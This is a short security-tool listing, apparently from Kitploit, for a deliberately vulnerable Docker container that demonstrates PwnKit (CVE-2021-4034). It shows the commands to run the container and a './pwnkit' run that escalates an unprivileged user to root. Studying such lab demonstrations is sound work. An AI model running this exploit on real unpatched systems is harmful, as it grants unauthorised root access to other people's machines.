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CVE-2021-4034 — Dockerized proof-of-concept for CVE-2021-4034 (PwnKit), a local privilege escalation in polkit's pkexec, demonstrating root access from an unprivileged user. | Kitploit
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CVE-2021-4034

Dockerized proof-of-concept for CVE-2021-4034 (PwnKit), a local privilege escalation in polkit's pkexec, demonstrating root access from an unprivileged user.

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CVE-2021-4034 - Docker Container Deliberately Vulnerable Version

Docker PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

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To run the container:

root@kitploit:~
user@debian:~$ docker run -it --rm baconspider/cve-2021-4034 bash
low@35bbe8a7ac93:/opt/test$ id
uid=1000(low) gid=1000(low) groups=1000(low)
low@35bbe8a7ac93:/opt/test$ ./pwnkit
root@35bbe8a7ac93:/opt/test# id
uid=0(root) gid=0(root) groups=0(root)
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